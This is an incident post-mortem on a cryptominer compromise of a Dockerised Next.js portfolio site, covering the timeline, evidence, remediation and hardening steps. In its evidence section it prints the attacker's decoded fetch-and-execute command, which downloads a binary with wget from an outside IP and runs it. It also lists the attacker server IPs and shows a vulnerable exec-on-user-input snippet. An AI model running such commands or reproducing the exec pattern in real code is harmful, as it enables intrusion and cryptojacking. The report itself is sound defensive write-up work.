Security Incident Report: Cryptominer Attack on Next.js Application
Source: Dev.to
Introduction
On December 7‑8 2025, the Next.js portfolio application luisfaria.dev running on a DigitalOcean Ubuntu droplet was compromised by an automated cryptomining attack. An attacker executed remote code inside the Docker‑containerized Next.js app, deploying cryptocurrency miners that ran for several hours before being detected.
This document is a post‑mortem analysis and educational resource describing how the attack occurred, what was compromised, and how to prevent similar incidents.
Timeline
| Event | Time (UTC) |
|---|---|
| Attack started | ~December 7 21:52 |
| Detection | December 8 ≈ 18:00 (unusual container behavior) |
| Remediation | December 9 (full rebuild & investigation) |
| Posting | December 10 (this document) |
Attack Overview
- Cryptominer deployment – Two mining processes (
XXaFNLHKandrunnv) ran for > 4 hours. - Resource exhaustion – CPU usage spiked, causing application timeouts.
- Persistence attempts – Malware tried (and failed) to create
systemdservices. - Process spawning – 40+ zombie shell processes were created.
- Nginx errors – Multiple “upstream timed out (110: Operation timed out)” messages.
- Container unresponsiveness – Docker commands became extremely slow.
- HTTP 499/504 errors – Requests failing or timing out.
Process Snapshot
docker compose exec webapp ps aux
PID USER TIME COMMAND
1126 nextjs 4h24 ./XXaFNLHK # Cryptominer #1
1456 nextjs 3h49 /tmp/runnv/runnv # Cryptominer #2
40+ nextjs 0:00 [sh] # Zombie shells
Evidence
Malicious HTTP Request
141.98.11.98 - POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20jew.arm7%3B%20wget%20http%3A%2F%2F78.142.18.92%2Fbins%2Fjew.arm7%3B%20chmod%20777%20jew.arm7%3B%20.%2Fjew.arm7%20tbk
Decoded command
cd /tmp; rm jew.arm7; wget http://78.142.18.92/bins/jew.arm7; chmod 777 jew.arm7; ./jew.arm7 tbk
This pattern matches a known IoT/router exploit that is being sprayed at internet‑facing servers. The Next.js application’s response indicates a code‑execution vulnerability.
Downloaded Files
| Path | Description |
|---|---|
/tmp/runnv/runnv | 8.3 MB binary – cryptominer |
/tmp/runnv/config.json | Mining pool configuration |
/tmp/alive.service | Systemd persistence attempt (failed) |
/tmp/lived.service | Systemd persistence attempt (failed) |
./XXaFNLHK | Secondary miner binary |
Attacker Infrastructure
89.144.31.18– Initial payload download server (x86 binary)78.142.18.92– Secondary malware distribution server
Application Log Snippet
⨯ [Error: NEXT_REDIRECT] {
digest: '12334\nmy nuts itch nigga\nMEOWWWWWWWWW'
}
The custom digest value suggests that an API route or Server Action was executing unsanitized user input, allowing the attacker to inject shell commands. The error was caught by Next.js, but the command had already run.
Example of Vulnerable Code
// VULNERABLE – DO NOT USE
export async function POST(request) {
const { command } = await request.json();
const { exec } = require('child_process');
exec(command); // 🚨 Executes arbitrary commands
return Response.json({ success: true });
}
Docker Security Assessment
What Docker Prevented
- Miners could not write to
/dev/(permission denied). - Systemd services could not be installed (no systemd inside the container).
- Filesystem access was limited to the container’s view.
- The container was isolated from the host system.
What Docker Did Not Prevent
- Arbitrary code execution inside the container.
- High CPU consumption.
- Outbound network connections to mining pools.
- Writes to
/tmp/within the container.
Remediation Steps
-
Stop the compromised container
docker compose down -
Preserve forensic evidence
docker logs frontend_app > ~/attack_logs.txt docker logs nginx_gateway > ~/nginx_logs.txt -
Rebuild from a clean source
cd /var/www/portfolio git pull origin master --ff-only docker compose build --no-cache docker compose up -d -
Verify a clean state
docker compose ps docker compose exec webapp ps aux # No suspicious processes
Action Items
- Audit all API routes for
exec(),spawn(),eval(), orFunction()usage. - Review Server Actions for proper input validation.
- Run
npm auditand update vulnerable dependencies. - Upgrade Next.js to the latest version (was 15.3.2).
- Implement strict input sanitization on every user‑facing endpoint.
Search for Dangerous Functions
# Find dangerous functions in the codebase
grep -rE "exec|spawn|eval|Function\(" . \
--include="*.js" --include="*.ts" \
--exclude-dir=node_modules
Check for Unsanitized Server Actions
grep -r "use server" . --include="*.js" --include="*.ts"
Docker Hardening
Run as Non‑Root (already applied)
USER nextjs
Resource Limits
# docker‑compose.yml
deploy:
resources:
limits:
cpus: '1.0'
memory: 512M
Network Isolation
# docker‑compose.yml
networks:
frontend:
driver: bridge
backend:
driver: bridge
internal: true # No internet access for backend
Nginx Hardening
# Rate limiting to mitigate automated attacks
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
server {
location /api/ {
limit_req zone=api burst=20 nodelay;
# ... other directives ...
}
}
Input Validation (Critical)
// SECURE CODE – never execute user input directly
import { z } from 'zod';
const schema = z.object({
action: z.enum(['allowed', 'actions', 'only']),
value: z.string().max(100).regex(/^[a-zA-Z0-9]+$/)
});
export async function POST(request) {
const body = await request.json();
const result = schema.safeParse(body);
if (!result.success) {
return Response.json({ error: 'Invalid input' }, { status: 400 });
}
// Perform safe, predefined operations here
}
Monitoring & Alerting
-
Container resource monitoring
docker stats frontend_app -
Set up alerts for high CPU usage (e.g., Prometheus + Grafana).
CORS Configuration Update
// src/index.ts
const corsOptions = {
origin: config.nodeEnv === 'production'
? ['https://luisfaria.dev'] // ✅ production domain
: 'http://localhost:3000',
credentials: true,
};
Summary Checklist
- Never execute user input directly.
- Apply strict input validation (Zod, Joi, etc.).
- Run
npm auditregularly for both frontend and backend. - Enforce least‑privilege containers (
USER nextjs). - Set CPU & memory limits (Issue #34).
- Implement network isolation between services (Issue #40).
- Add Nginx rate limiting and security headers (Issue #33).
- Harden input validation for all API routes (Issue #29).
- Deploy monitoring & alerting for resource spikes (Issue #39).
- Update CORS to allow only the production domain (Issue #32).
- Keep Next.js and all dependencies up‑to‑date.